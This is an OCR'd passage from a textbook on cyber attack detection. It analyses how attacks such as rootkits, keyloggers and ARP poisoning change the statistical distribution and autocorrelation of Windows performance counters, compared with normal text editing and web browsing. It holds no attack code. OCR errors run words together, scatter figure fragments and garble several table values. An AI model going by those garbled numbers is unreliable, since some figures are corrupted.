as DMM for Distribution, MultiModal.

e Uniform distribution, which corresponds to the 2" distribution in Table 9.1 and is denoted
as DUF for Distribution, UniForm.

Based on Table 9.1 and the five distributions suggested by the data patterns, the following
test procedure is used to identify the probability distribution of a given data variable in the
collected data:

1. Perform the DIP test. If the DIP test rejects the unimodality, the data variableis considered
to have amultimodal distribution or DMM.
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2. Perform the mode test and the skewness test, and determine the probability distribution
based on the test results as follows:

(a) If themodetestindicatesmorethantwo significant modesandthe skewnesstest indicates
asymmetric distribution, the data variable is considered to have a uniform distribution
or DUF.

(b) If the mode test indicates fewer than two significant modes and the skewness test
indicates a symmetric distribution, the data variable is considered to have a unimodal,
symmetric distribution or DUS.

(c) If the mode test indicates fewer than two significant modes and the skewness test
indicates a left skewed distribution, the data variable is considered to have a unimodal,
|eft skewed distribution or DUL.

(d) If the mode test indicates fewer than two significant modes and the skewness test
indicates aright skewed distribution, the datavariableis considered to have aunimodal ,
right skewed distribution or DUR.

9.3 PROCEDURE FOR DISCOVERING PROBABILITY
DISTRIBUTION CHANGE DATA CHARACTERISTICS
FOR ATTACKS

For the collected data of the Windows performance objects described in Chapter 7, the same
datascreening procedureasdescribedin Section 8.2 isperformed to eliminatethe datavariables
that have the observations of the same value under al the three conditions: the inactive, attack
and norm conditions. Each of the remaining datavariablesisanalyzed to extract the probability
distribution feature and discover the distribution change characteristicsin the following steps:

1. For the 10-minute data under the inactive condition and the attack data for the entire attack
period from Run 1 of the data collection:

(8) Apply the test procedure described in Section 9.2 to the 10-minute data under the
inactive condition to identify the probability distribution of the data variable.

(b) Apply thetest procedure to the attack datato identify the probability distribution of the
data variable.

(c) Compare the probability distributions of the variable under the inactive condition and
under the attack condition. If the probability distributions are different under the two
conditions, identify the distribution change as an attack characteristic and denote this
distribution change characteristic by the name of the probability distribution under the
attack condition. For example, DUL indicates that the probability distribution of the
data variable changes to the unimodal, left skewed distribution under the attack from a
different distribution under the inactive condition.

2. Repeat Step 1 but replace the 10-minute inactive data and the attack data from Run 1 with
the 10-minute inactive data and 10-minute norm data of text editing from Run 2 of the data
collection to identify the distribution change characteristics of the text editing norm.
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3. Repeat Step 1 but use the 10-minuteinactive dataand 10-minute norm data of web browsing
from Run 3 of the data collection to identify the distribution change characteristics of the
web browsing norm.

The test procedure is not applied to the FTP buffer overflow attack due to the short duration
of this attack and too few data observations obtained under this attack.

For each attack, each distribution change characteristic of the attack is examined to see if
the same characteristic (the same variable with the same distribution change) also manifests
asthe norm characteristic of either text editing or web browsing. If so, this distribution change
characteristic of theattack isremoved fromtheinitial list of theattack characteristics. Removing
such attack characteristicswhich also appear in either normal use activity producesthefinal list
of the distribution change characteristics for the attack. Figure 9.3 summarizes the procedure
of discovering the distribution change characteristics for the attacks.

Asdiscussed in Chapter 8, although the above procedure focuses on the distribution change
characteristics of the attacks, the distribution change characteristics for the text editing and
the web browsing can also be revealed in a similar manner. Ultimately, instead of classifying
the activities into two categories of attack and normal use, each individual activity can be
considered as a distinctive category to identify each distinctive activity for purposes other than
cyber attack detection.

Spoeny
SanAnoY
2SN [eWION

Two samples of Two samples of Two samples of Two samples of
inactive data and inactive data and inactive data and inactive data and
attack 1 data attack 2 data attack 10 data text editing data

Two samples of
inactive data and
web browsing

from Run 1 from Run 1 from Run1 from Run 2 data from Run 3

Skewness Test, DIP Test, and Mode Test

Initial list of
distribution
change
characteristics for
attack 2

Initial list of
distribution
change
characteristics for
web browsing

Initial list of
distribution

Initial list of
...... distribution
change
characteristics for
attack 10
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distribution
change
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attack 1

change
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text editing

comparison

Final list of
distribution
change
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attack 10
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distribution
change
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Final list of
distribution
change
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attack 1

Figure 9.3 The procedure of discovering distribution change attack characteristics.
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9.4 DISTRIBUTION CHANGE ATTACK CHARACTERISTICS

Section 9.4.1 shows the percentages of the five probability distribution types under the 11
attack conditions and the two normal use conditions. In Section 9.4.2, some examples of
the attack characteristics in probability distribution changes are illustrated and explained. In
Section 9.4.3, the findings of the distribution change attack characteristics by attacks and by
Windows performance objects are presented. In Section 9.4.4, the attack groupings based on
the same and opposite attack characteristics among the attacks are presented and discussed. In
Section 9.4.5, the unique attack characteristics are summarized.

9.4.1 Percentages of the probability distributions under the attack
and normal use conditions

For each condition (attack or normal use), the percentage of the data variables with each of
the five types of probability distributions is calculated, and is shown in Table 9.2. For all the
attacks and the normal use activities, the skewed distribution and the multimodal distribution
are the most dominant probability distributions, accounting for 43.37% (the sum of 37.19%
for the right skewed distribution and 6.18% for the left skewed distribution) and 42.22% of
the data variables in average. A large majority of the variables with the skewed distribution
are right skewed with dominantly the upward spikes. The unimoda symmetric distribution
accounts for 8.78% of the variables in average across all the attack and normal use activities,
whichisalittle morethan 5.63% of the variableswith the uniform distribution. The dominance
of the multimodal and right skewed distributions and the small percentages of the | eft skewed,
unimodal symmetric and uniform distributions are found consistently in both the attacks and
the normal use activities.

Table9.2 The percentages of probability distributions under attack and normal use conditions

Types of probability distributions (%)

Unimodal
Total number Left Skewed Right Skewed Symmetric  Uniform  Multimodal
Activity of variables (DUL) (DUR) (Dbus) (DUF) (DMM)
Apache 350 314 41.71 7.71 0.00 47.43
ARP 337 0.00 11.57 38.28 11.28 38.87
Distributed 322 9.32 36.02 3.42 12.42 38.82
Fork 327 7.65 29.05 7.03 153 54.74
Hardware 349 2.01 31.81 5.16 18.91 4212
Remote 322 6.83 32.30 7.45 1.86 51.55
Rootkit 440 10.23 44.55 10.68 0.45 34.09
Security 480 3.13 46.88 521 0.83 43.96
Software 418 11.00 40.19 4.07 8.37 36.36
Vulnerability 492 7.72 48.58 1.63 5.89 36.18
Text Editing 382 6.28 40.58 10.21 6.02 36.91
Web Browsing 483 6.83 43.06 4.55 0.00 45.55

Average 6.18 37.19 8.78 5.63 42.22
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Table 9.3 Examples of distribution change attack characteristics

Attacks

Variables Apache ARP Distributed Remote Rootkit Security Software

Logica Disk(C:)\Avg. Disk DUS DUS
Bytes/Write

LogicaDisk(C:)\Avg. Disk DUR
Transfer/sec

Memory\ Pool Paged DUR DUF
Allocs

Memory\ Pool Paged Bytes DUR

Process(smlogsvc)\ Processor DUR
Time

Terminal Service Session DUS
(Console)\ Output
Compression Ratio

The information about the dominance of the multimodal and right skewed distributions
is not available in previous literature, but is important for any work that involves modeling
and simulation of computers and networks. The multimodal distribution is rarely used in
existing work on the modeling and simulation of computers and networks. Typicaly, the
normal distribution isassumed in computer and network modeling. However, Table 9.2 shows
that the unimodal symmetric distribution type, including the normal distribution, accounts for
only a small percentage of the data variables that describe computer and network behavior
except for the ARP Poison attack.

9.4.2 Examplesof distribution change attack characteristics

Table 9.3 provides some examples of distribution change attack characteristics. For example,
LogicalDisk(C:)\Avg. Disk Transfer/sec, which measures thetime of the average disk transfer
in seconds, changes to the right skewed distribution under the Remote Dictionary attack from
a different distribution under the inactive condition. The right skewed distribution under the
Remote Dictionary attack is possibly attributed to the repetitive upward spikes which are
caused by the repetitive login attempts with password guessing. Each login attempt requires
information from the password file and thus the disk transfer time increases.

9.4.3 Distribution change attack characteristics by attacks and Windows
performance objects

Tables 9.4 to 9.8 show the number of variables with the distribution change characteristics
to the unimodal left skewed (DUL), unimodal right skewed (DUR), unimodal symmetric
(DUS), uniform (DUF), and multimodal (DM M) distributions, respectively, under each attack
condition by each Windows performance object. Table 9.9 summarizes the findings from
Tables9.4t0 9.8.
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Finding1inTable9.9indicatesthat totally 8, 11, 5, 8, and 12 performance obj ectshave attack
characteristics of distribution change to the DUL, DUR, DUS, DUF and DMM distributions,
respectively. Hence, under all the attack conditions, the distribution changesto theright skewed
(DUR) and multimodal (DMM) distributions are the most common across al the objects,
followed by theleft skewed (DUL) and uniform (DUF) distributions. The attack characteristics
of distribution changeto the unimodal symmetric (DUS) distribution affect the smallest number
of objects.

As shown in finding 2 of Table 9.9, five performance objects, which include LogicalDisk,
Memory, Process, System and Terminal Services Session, encounter the attack characteristics
of distribution changeto all thefivedistributions. The P object, however, encountersthe attack
characteristics of distribution change to the multimodal (DMM) distribution only as shown in
finding 3 of Table 9.9.

The Process object is affected by most of the attacks in the attack characteristics of dis-
tribution change to each of the five distributions as shown in finding 4 of Table 9.9. The
LogicalDisk object is also affected by 9 out of 10 attacks in the attack characteristics of dis-
tribution change to the multimodal distribution. It can be seen in finding 5 of Table 9.9 that
among all the attacks the Hardware Keylogger attack affects the Process object most in 21
Process variables for the distribution change to the right skewed (DUR) distribution and in
33 process variables for the distribution change to the uniform (DUF) distribution. In con-
trast to the Hardware Keylogger attack which manifests in the Process variables through the
distribution changes to the right skewed and uniform distributions, the Software Keylogger
attack manifests in the Process variables through mainly the distribution change to the left
skewed (DUL) distribution which affects 18 process variables. As can be seen in Table 9.4,
the Software Keylogger attack produces the downward spike data pattern (leading to the left
skewed distribution) of 19 Process variables, whereas the Hardware Keylogger attack pro-
duces the downward spike data pattern in only one Process variable. Finding 6 in Table 9.9
shows that the Software Keylogger, Security Audit, Rootkit, Hardware Keylogger, and Secu-
rity Audit attacks are the attacks with most of the distribution changesto the left skewed, right
skewed, unimodal symmetric, uniform, and multimodal distributions, respectively, in acertain
object.

Finding 7 in Table 9.9 points out the attacks that affect most of the objects for the attack
characteristics of distribution change to each of the five distributions, including:

o the Distributed DoS attack for the distribution changes to the left skewed distribution and
the uniform distribution (DUF);

o the Hardware Keylogger attack for the distribution changes to the unimodal symmetric
distribution (DUS) and the uniform distribution (DUF);

o the Software Keylogger attack for the distribution change to the left skewed distribution
(DUL);

o the Vulnerability Scan attack for the distribution change to the right skewed distribution
(DUR);

e the ARP Poison attack for the distribution change to the uniform distribution (DUF);

e the Remote Dictionary attack for the distribution change to the multimodal distribution
(DMM).
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Finding 8 indicates that the Apache Resource DoS attack shows no distribution change to
the uniform distribution (DUF).

Findings 9-20 indicate the distribution that is most common among all the attacks for each
of the objects.

9.4.4 Attack groupingsbased on the same and opposite
attack characteristics

Table 9.10 summarizes the number of attack characteristics in distribution changes to the five
distributions that are shared by each pair of attacks. For example, the A pache Resources DoS
attack has 23 distribution change attack characteristicsthat also appear in the Distributed DoS
attack. The following formulais used to calculate the dissimilarity for each pair of attacks:

1
Dissimilarity = - (9.3

where n is the number of the shared distribution change attack characteristics between a
given pair of attacks. Based on the dissimilarity values for al pairs of the ten attacks, the
hierarchical clustering of the ten attacks is performed using Statistica [2] with the average
linkage and Ward's linkage methods (see the detailed description of the hierarchical clustering
in Chapter 8). Figures 9.4 and 9.5 show the hierarchical clustering of the ten attacks based on
the average linkage method and Ward's linkage method, respectively.

Considering a cluster’s linkage distance smaller than 0.15 in Figure 9.4 and smaller than
0.3 in Figure 9.5, both the average linkage method and Ward's linkage method produce the
same two groups of the attacks as follows:

® Group Sl (‘'S standsfor ‘ Same'): Apache Resources DoS, Rootkit, Fork Bomb, Distributed
DoS, ARP Poison, Hardware Keylogger, and Vulnerability Scan

e Group S2: Software Keylogger, Remote Dictionary, and Security Audit.

In group S1, the ARP Poison, Hardware Keylogger and Vulnerability Scan attacks are
closely grouped together based on both the average linkage method and Ward' slinkage method.

In group S1, the three attacks, Apache Resources DoS, Rootkit and Fork Bomb, cause
significant changes in the processes and threads in order to accommodate large amounts of
processing. Note that the Rootkit program continuously modifies the performance log window
to hide itself. For example, Apache Resources DoS, Rootkit and Fork Bomb share the same
attack characteristic of distribution change to the right skewed distribution in Process(csrss)
IO Data Operations/sec, which represents the rate the process is issuing read and write 1/0
operations. The csrss (client/server run-time subsystem) process is responsible for console
windows and for creating and/or deleting the threads. There is aso another shared attack
characteristic of distribution change to the multimodal distribution in Processor(Total)\% C1
Time, which measures the percentage of time the processor is running in the C1 power save
mode. The Fork Bomb and Rootkit attacks also share an attack characteristic of distribution
change to the right skewed distribution in Logical Disk(_Total)\ Split 10/Sec, the rate of 1/Os
to the disk that is split into multiple 1/0Os and occurs when the requested datais too large to fit
into asingle 1/Os or when the disk is fragmented.
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Unweighted pair-group average
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Figure9.4 The hierarchical clustering of the attacks based on the same attack characteristics and the
average linkage method of hierarchical clustering.

The Distributed DoS, ARP Poison, Hardware Keylogger, and Vulnerability Scan attacksin
group S1 aresimilar with respect to theincreased disk activity resulting from theattack. All four
attackssharethe sameattack characteristic of distribution changeto the multimodal distribution
in LogicalDisk(_Total)\Avg. Disk Queue Length, which measures the average number of
write requests queued for the selected disk during the sample interval. The Distributed DoS,
Hardware Keylogger, and Vulnerability Scan attacks also share the same attack characteristic
of distribution change to the unimoda symmetric distribution in Memory\ Pool Paged Allocs,
which counts the number of calls to alocate space in the paged pool. The paged pool is an
area of system memory for objects that can be written to disk when they are not being used.

In group S2, both the Software Keylogger and Remote Dictionary attacks involve repeated
data operations. The Software Keylogger program repetitively writes every logged keystroke
intothelog file, whileinthe Remote Dictionary attack the victim computer needsto repetitively
access the password file and record the failed login attempts. Software Keylogger and Remote
Dictionary share the attack characteristic of distribution change to the multimodal distribution
in Process(svchost#2)\ | O Data Bytes/sec, which measures the rate of the process reading and
writing bytesin 1/O operations. Some other shared characteristics between these two attacks
are distribution changes to the multimodal distribution in System\File Read Bytes/sec and
System\File Write Bytes/sec. System\File Read Bytes/sec is the rate that bytes are read to
satisfy file system read requeststo all devices on the computer, including requeststo read from
the file system cache. System\File Write Bytes/sec is the rate that bytes are written to satisfy
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Ward's method
Dissimilarities from matrix
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Figure9.5 Thehierarchical clustering of the attacksbased on the same attack characteristicsand Ward's
linkage method of hierarchical clustering.

filesystemwriterequeststo all devices onthe computer, including requeststo read from thefile
system cache. The Security Audit attack in group S2 has some characteristics distinct from the
Software Keylogger and Remote Dictionary attacks which are grouped much closer together.

Table 9.11 shows the number of the different attack characteristics between each pair of
attacks. Two attack characteristicsfor agiven pair of attacks are considered different if the two
attack characteristics involve the same variable but have different distribution changes. For
example, the Apache Resources DoS attack hasthe attack characteristic of distribution change
to the multimodal distribution in Memory\ Pool Nonpaged Allocs, while the Distributed DoS
attack has the attack characteristic of distribution change to left skewed distribution in the
same variable. The number of the different attack characteristics between each pair of the ten
attacksis used directly asthe dissimilarity value between the pair of the attacks to produce the
hierarchical clustering of the attacks using Statistica[2] with both the average linkage method
and Ward's linkage method. Figures 9.6 and 9.7 show the hierarchical clustering of the ten
attacks based on the average linkage method and the Ward's linkage method, respectively.

Considering a cluster’s linkage distance smaller than 6 in both Figure 9.5 and Figure 9.6,
both the average linkage method and Ward's linkage method produce the same seven groups
of the attacks as follows:

e Group D1 (‘D’ standsfor different): Apache Resources DoS
e Group D2: Rootkit
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Figure 9.6 The hierarchical clustering of the attacks based on the different attack characteristics and
the average linkage method of hierarchical clustering.

e Group D3: Software Keylogger and Remote Dictionary
e Group D4: Distributed DoS and Vulnerability Scan

e Group D5: Security Audit

e Group D6: ARP Poison and Fork Bomb

e Group D7: Hardware Keylogger.

The clustering result based on the same attack characteristics of the attacks is similar to the
clustering result based on the different attack characteristics asfollows:

e The Software Keylogger and Remote Dictionary attacks in group D3 are also grouped
together in group S2.

e The Distributed DoS and Vulnerability Scan attacks in group D4 are a so grouped together
in group S1.

e The ARP Poison and Fork Bomb attacksin group D6 are al so grouped together in group S1.

e The Security Audit attack hasadifferent naturefrom the other attacks. Although the Security

Audit attack fallsinto group S2, it isdifferent from the other attacksin group S2 as measured
by its distance to the other attacks.
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Figure 9.7 The hierarchical clustering of the attacks based on the different attack characteristics and
Ward's linkage method of hierarchical clustering.

TheApache ResourcesDoS, Rootkit and Hardware Keylogger attacksare separateand different
from the other attacks in the clustering result based on the different attack characteristics,
whereas these three attacks are grouped closely with some other attack in the clustering result
based on the same attack characteristics.

The above attack groups based on the distribution change attack characteristicsare different
from the attack groups based onthe mean shift characteristicswhich aredescribed in Chapter 8.
Thisindicates that various attacks manifest differently in different data features.

9.4.5 Unique attack characteristics

Tables 9.12 to 9.16 provide the number of distribution changes to the multimodal, uniform,
unimodal symmetric, right skewed, left skewed distributions, respectively, which are unique
to each attack. For example, for the Memory object, the Fork Bomb attack has one unique
attack characteristic of distribution change to the multimodal distribution in Memory\ System
Cache Resident Bytes, which does not appear in the other attacks. Since Memory\ System
Cache Resident Bytes also shows the change in distribution change to the right skewed distri-
bution under the VVulnerability Scan attack, the two attack characteristics also account for one
different attack characteristic between the two attacks in Table 9.11.
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9.5 SUMMARY

This chapter describes the distribution change characteristics of the ten attacks, excluding the
FTP Buffer Overflow Attack dueto its short attack duration. The attack groupings based onthe
same attack characteristics and the opposite attack characteristics are presented, along with the
unique attack characteristics of each attack. Although the subtle Hardware Keylogger attack
does not manifest any significant mean shift characteristics, the probability distribution feature
reveals many characteristics of this subtle attack.

As discussed in Chapter 8, monitoring the variables with the unique attack characteris-
tics of each attack can be considered when detecting and identifying that attack. However, it
may be more efficient to consider monitoring the variables with the same or opposite char-
acteristics among attacks through a unique combination of those variables for each attack
in order to reduce the total number of variables that need to be monitored when detect-
ing and identifying any of these attacks. An optimization problem of finding the smallest
number of such variables to produce a unique combination for each attack is described in
Chapter 18.

This chapter also reveals the relationships among the ten attacks through the hierarchical
clustering of the attacks based on their shared or opposite attack characteristics. As discussed
in Chapter 8, the grouping of the attacks as well as the similarity and difference in data
characteristics underlying each attack group is helpful in recognizing the nature of unknown,
novel attacks when they show similar attack data characteristics with one or more groups of
known attacks, and in guiding the further investigation of these new attacks to revea their
complete attack characteristics.

The distribution change characteristics can be used not only to distinguish attacks from
normal use activities by considering two categories of activities—attack and normal use—but
also to identify any individual activity of interest by considering any activity as an individual
category and uncovering its unique combination of distribution change characteristics. Iden-
tifying not only attack activity but any individual activity of interest has applications that go
beyond cyber attack detection.

The attack characteristics in the probability distribution feature of the data, which are
revealed in this chapter in addition to the attack characteristicsin the mean feature describedin
Chapter 8, point out theimportance of carrying out the feature extraction when discovering the
attack characteristics. Although the mean shift attack characteristics can readily be observed
by plotting the raw data, the attack characteristicsin complex or subtle data features (e.g., the
probability distribution feature) may not be obvious by looking at the raw data. Therevealed of
attack characteristicsin such datafeatureswill help us gain more knowledge about attacks and
build cyber attack detection models with a high level of detection performance by modeling
attack data and normal use data accurately according to the revealed data characteristics of
attack and normal use activities. Part VI gives more details about how to develop attack
and normal use data models based on the attack characteristics such as those described in
this chapter, and how to use these data models to build cyber attack detection models with
a high level of detection performance. Extracting subtle data features not only of activity
data but also of state and performance data for cyber attack detection also helps prevent an
attacker’s attempt to disguise attack actions and evade detection by cyber attack detection
systems.
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Autocorrelation change
characteristics of attack and
normal use data

Dataisautocorrelated if dataobservationsare correlated over time. Since activities on comput-
ersand networks often follow certain logical sequencesin order to complete given tasks, time-
series data of many data variables collected from the Windows performance objects manifests
characteristics in the autocorrelation feature of the data. This chapter describes the statistical
analysis to extract the autocorrelation feature of attack and normal use data. By comparing
the autocorrelation feature of data collected under inactive, attack and normal use conditions,
autocorrelation change characteristics for the attacks described in Chapter 7 are uncovered.

In this chapter, the statistical analysis to extract the autocorrelation feature of data is first
introduced. The procedure of uncovering attack and normal use data characteristics in the
autocorrel ation featureisdescribed and followed by the summary of the autocorrel ation change
attack characteristics.

10.1 THE AUTOCORRELATION FEATURE OF DATA

Given a random variable, x, and its time series data (i.e., a series of data observations over
time), X1, Xo, .. ., Xn, the lag-i sample autocorrel ation function (ACF) coefficient (called auto-
correlation coefficient in the following text) is computed as follows[1, 2]:

= Cov (X, Xe-i) _ Y (e = X) (¢ —i —X)/(n—1i)
| V (%) Yy (e —X)?/n

(10.1)

where X is the sample average, V(x) is the sample variance, and Cov(x;, X_1) is the sample
covariance of observationsthat arelag-i apart. If thetime seriesdatais statistically independent
at lag-i, p;j will be zero. If (x; — X) and (x; — i — X) have the same change for all t, p; will be

Secure Computer and Network Systems: Modeling, Analysisand Design  Nong Ye
© 2008 John Wiley & Sons, Ltd
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positive. If (x; — X) and (x; — i — X) have the opposite change for al t, p; will be negative.
For a random sequence of time series data with alarge sample size of n, p; is approximately
normally distributed with the mean of 0 and the variance 1/n [1, 2]. Based on this normal
distribution of pj, the statistical significance of p; can be determined. Statistica [3] is used
to compute the lag-i autocorrelation coefficient and test its statistical significance with the
significance level set to 0.05.

10.2 DISCOVERING THE AUTOCORRELATION CHANGE
CHARACTERISTICSFOR ATTACKS

For thecollected dataof the Windows performance objectsdescribed in Chapter 7, the samedata
screening procedure as described in Section 8.2 is performed to eliminate the data variables,
each of which has the observations of the same value under al three conditions: the inactive,
attack and norm conditions. Each of the remaining data variables is analyzed to extract the
autocorrelation feature and discover the autocorrelation change characteristics of the attacks
in the following steps.

1. For the 10-minute data under the inactive condition and the attack data for the entire attack
period from Run 1 of the data collection:

(8) Compute the lag-i autocorrelation coefficient of the inactive data and determine the
statistical significance of the autocorrelation coefficient, fori =1, ..., 10. If the au-
tocorrelation coefficient for every one of the ten lags is statistically significant, the
autocorrelation of the inactive data is considered high (AH). If the autocorrelation co-
efficient is not statistically significant for any of the ten lags, the autocorrelation of the
inactive datais considered low (AL). If thereis at least one but not all autocorrelation
coefficientsfor thetenlagsare statistically significant, the autocorrel ation of theinactive
datais considered medium (AM).

(b) Repeat Step lafor the attack datato determineif the attack dataisconsidered AL, AM,
or AH.

(c) Compare the autocorrelation levels of the inactive data and the attack data, if the auto-
correlation level increases from the inactive condition to the attack condition, mark the
autocorrelation increase, A+, as the autocorrelation change characteristic that occurs
in this variable under this attack; if the autocorrelation level decreases from the inac-
tive condition to the attack condition, mark the autocorrelation decrease, A—, as the
autocorrelation change characteristic that occursin this variable under this attack;

2. Repeat Step 1 but replace the 10-minute inactive data and the attack data from Run 1 with
the 10-minute inactive data and 10-minute norm data of text editing from Run 2 of the data
collection to identify the autocorrelation change characteristics of the text editing norm.

3. Repeat Step 1 but usethe 10-minuteinactive dataand 10-minute norm data of web browsing
from Run 3 of the data collection to identify the autocorrelation change characteristics of
the web browsing norm.

For each attack, each autocorrelation change characteristic of the attack is examined to see if
the same characteristic (the same variable with the sameautocorrel ation change) al so manifests
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Figure10.1 The procedure of discovering mean shift characteristics for 11 attacks.

as the characteristic of either text editing or web browsing. If so, this autocorrelation change
characteristic of the attack is removed from the initial list of the autocorrelation change char-
acteristics for the attack. Removing such attack characteristics of the attack which appear in
either normal use activity produces the final list of the autocorrelation change characteristics
for the attack. Figure 10.1 summarizesthe procedure of discovering the autocorrelation change
characteristics for the attacks.

The Fork Bomb attack lasts no more than 16 seconds and thus produces no more than
16 observationsin the time series data under this attack in the three runs of the data collection.
The FTP Buffer Overflow attack lasts only 6 seconds and thus produces only 6 observationsin
the time series data under this attack in the three runs of the data collection. Sinceit isdifficult
to extract the autocorrelation feature and characteristic of the time series data for these two
attacks due to the small number of data observations, these two attacks are excluded from the
autocorrelation analysis.

Although the data screening step eliminates the variables with a constant value under all
the three conditions (inactive, attack, and norm), there are some remaining variables whose
value is constant under one or two but not all the three conditions. If a variable has a constant
value under one condition, Formula 10.1 is not applicable since V(x;) is zero. Considering the
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same constant value is high correlated with each other, a variable with a constant value under
agiven condition is assigned the high autocorrelation level, AH.

As discussed in Chapter 8, although the above procedure focuses on the autocorrelation
change attack characteristics, the autocorrel ation change characteristics of the text editing and
the web browsing can also be revealed in a similar manner. Ultimately, instead of classifying
the activities into two categories of attack and normal use, each individual activity can be
considered as a distinct category for identifying each distinct activity for purposes other than
cyber attack detection.

10.3 AUTOCORRELATION CHANGE ATTACK
CHARACTERISTICS

Section 10.3.1 shows the percentages of the variables with the three autocorrelation levels
under the 11 attack conditions and the two normal use conditions. In Section 10.3.2, some
examples of the autocorrelation change attack characteristics are illustrated and explained. In
Section 10.3.3, the findings of the autocorrelation change attack characteristics by attacks and
by Windows performance objects are presented. In Section 10.3.4, the attack groupings based
on the same and opposite attack characteristics among the attacks are presented and discussed.
In Section 10.3.5, the unique attack characteristics are summarized.

10.3.1 Percentages of variables with three autocorrelation levels under
the attack and normal use conditions

For each condition (attack or normal use), the percentages of the variables with the three
autocorrelation levels, AL, AM, and AH, are calculated and shown in Table 10.1. For all the
attacks and the normal use activities, the majority of the data variables have a constant value
under one condition, accounting for 59.37% of the data variables on average.

Table10.1 The percentages of the variables with the three autocorrelation levels under attack and
normal use conditions

Autocorrelation degree (%)

Total number
Activity of variables AL AM AH AH due to a Congtant Value
Apache 435 6.90 5.75 31.03 56.32
ARP 455 4.84 1253 10.99 71.65
Distributed 437 15.79 3.89 23.34 56.98
Hardware 384 1172 9.90 16.67 61.72
Remote 465 12.04 9.68 27.96 50.32
Rootkit 356 8.43 4.21 20.22 67.13
Security 380 8.68 7.63 36.58 4711
Software 424 5.90 20.52 20.52 53.07
Vulnerability 390 6.41 13.08 16.92 63.59
Text Editing 500 13.40 17.80 8.00 60.80
Web Browsing 516 13.95 2.33 19.38 64.34

Average 9.82 9.76 21.06 59.37
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For theremai ning datavariabl es, the high autocorrel ation accountsfor thelargest percentage
of thevariablesfor al the activities except the ARP Poison attack and the text editing norm. For
the ARP Poison attack and the text editing norm, the medium autocorrelation accounts for the
largest percentage of the variables. Hence, the majority of the remaining data variables have
some degree of autocorrel ation (either the high autocorrel ation or the medium autocorrel ation).
The high autocorrelation accounts for more variables (36.58%) than the low autocorrelation
(8.43%) which accountsfor afew more variabl es than the medium autocorrelation (4.21%), in
average for all the attack and normal use activities. The information about the autocorrelation
of the data variables is not available in the previous literature, but is important in modeling
data on computers and networks.

10.3.2 Examples of autocorrelation change attack characteristics

Table 10.2 gives some examples of the attack characteristics in autocorrelation change. In
Table 10.2, A+ indicates an autocorrelation increase attack characteristic, and A— indicates
an autocorrelation decrease attack characteristic. In the Apache Resource DoS attack, the
variables, IP\Datagrams Sent/sec, which measures the rate of |P datagrams supplied to I P for
transmission, and Network I nterface\ Packets/sec, which measures the rate of packets sent and
received on the network interface, have the autocorrelation decrease characteristic from the
high autocorrelation to the low autocorrelation (AH — AL in Table 10.2). Figure 10.2 plots
the data observations of both variablesin the attack condition. Both variablesjump to and stay
at ahigh valuein thefirst half of the attack and then drop to the value of zero when the server
crashes in the second half of the attack. A high value in the first half, zero in the second half
and the average value in the middl e of this high value and zero produce alow autocorrelation
coefficient according to Formula 10.1.

In the ARP Poison attack, the variables, Network Interface\Bytes Received/sec and
Network Interface\ Packets Received/sec measuring the rate of bytes and packets respec-
tively received on the network interface, have the autocorrelation increase characteristic from
the low autocorrelation under the inactive condition to the medium autocorrelation under
the attack condition. Figure 10.3 plots the data observations of Network Interface\ Packets
Received/sec under the attack condition. The data plot shows a cyclic pattern at a fre-
guency corresponding to one of the ten lags but not all the ten lags, producing the medium
autocorrelation. The autocorrelation increase characteristic of Network Interface\ Packets
Received/sec also appearsin the Security Scan attack dueto acyclic pattern of the time series
data at a given lag caused by the repetitive network requests to the victim computer from the
attacker.

The variable, Memory\Write Copies/sec, measures the number of page faults which are
caused by the memory-write attempts but are satisfied by copying the page from elsewherein
the physical memory, that is, by sharing the data already in the memory. This variable shows
an autocorrelation decrease from the high autocorrelation under the inactive condition to the
medium autocorrel ation under the Fork Bomb attack. Under theinactive condition, thisvariable
has almost a constant value with afew exceptions, producing the average value different from
the constant value, a large autocorrelation coefficient at all the ten lags, and thus the high
autocorrel ation. However, the time series data under the Fork Bomb attack has a cyclic pattern
at agiven lag but not all the ten lags due to the repetitive creation of many processes of the
same program, producing the medium autocorrelation.
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Figure10.2 The data plots of the variables under the Apache Resource DoS attack.

From the above examples, thefoll owing time seri es data patterns producing thel ow, medium

and high levels are observed:

e Time series datawith mostly a constant value but afew exceptions from this constant value
produces a high autocorrelation level. One special case is time series data with a cyclic
or seasonal pattern at a lag greater than 10, which produces a high autocorrelation level.
Another special caseistime seriesdatawith one constant valuefor one period and adifferent
constant value for another period, producing the average value different from both constant

values.

e Time series datawith acyclic or seasonal pattern at one or more lags between 1 and 10 but
not all the ten lags produces a medium autocorrelation level.

Obvioudly, time series data with completely independent data observations produces the
autocorrelation coefficient of zero and thus the low autocorrelation level according to

Formula 10.1.

Line Plot (pureEttercapOnly1_17 1109v*732c)

PRO_1000 MT

0 L

Network Connection - Packet Scheduler Miniport)\Packets

\\ALPHAO02-VICTIM\Network Interface(Intel[R]

A A A

1 51101 151 201 251 301 351 401 451 501 551 601 651 701

Figure10.3 The data plot of Network Interface\ Packets Received/sec in the ARP Poison attack.
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10.3.3 Autocorrelation change attack characteristics by attacks and
Windows perfor mance obj ects

Tables 10.3 and 10.4 present the number of autocorrelation increase characteristics and au-
tocorrelation decrease characteristics, respectively, from the inactive condition to each attack
condition for each Windows performance object. Table 10.5 summarizes the findings from
Tables 10.3 and 10.4 with a comparison of the autocorrelation increase and autocorrelation
decrease attack characteristics.

Finding 1 in Table 10.5 indicates that in total 15 objects demonstrate the autocorrelation
increase characteristics from the inactive condition to the nine attack conditions and it istotal
15 objects demonstrate the autocorrel ation decrease characteristics from the inactive condition
to the nine attack condition. In Finding 2 of Table 10.5, the objects, ICMP, Redirector and
TCP, show only the autocorrelation increase characteristic with no autocorrelation decrease
characteristic in various attacks, whereas the objects, Paging File, Server and Server Work
Queues, show only the autocorrel ation decrease characteristics under various attacks. ICMPis
affected by only the ARP Poison, Rootkit and Security Audit attacks (see Finding 7 in Table
10.5). Redirector is affected by the Security Audit attack only (see Finding 4 in Table 10.5).
TCPisaffected by the Rootkit attack only (see Finding 4 in Table 10.5). Paging Fileis affected
by the Software Keylogger attack only (see Finding 4 in Table 10.5). Server Work Queuesis
affected by the Security Audit attack only (see Finding 4 in Table 10.5). Server is affected by
the Remote Dictionary and Security Audit attacks (see Finding 11 in Table 10.5). All other
objects have both autocorrelation increase and autocorrelation decrease characteristics.

Finding 3 indicates that both autocorrelation increase and autocorrelation decrease char-
acteristics of the Process object occur in most of the attacks since each attack introduces its
special process(es). The Hardware Keylogger attack producesthe largest number of autocorre-
lation increase and autocorrel ation decrease characteristics (see Finding 5in Table 10.5) inthe
Process object. The Rootkit attack also introduces alarge number of autocorrelation increase
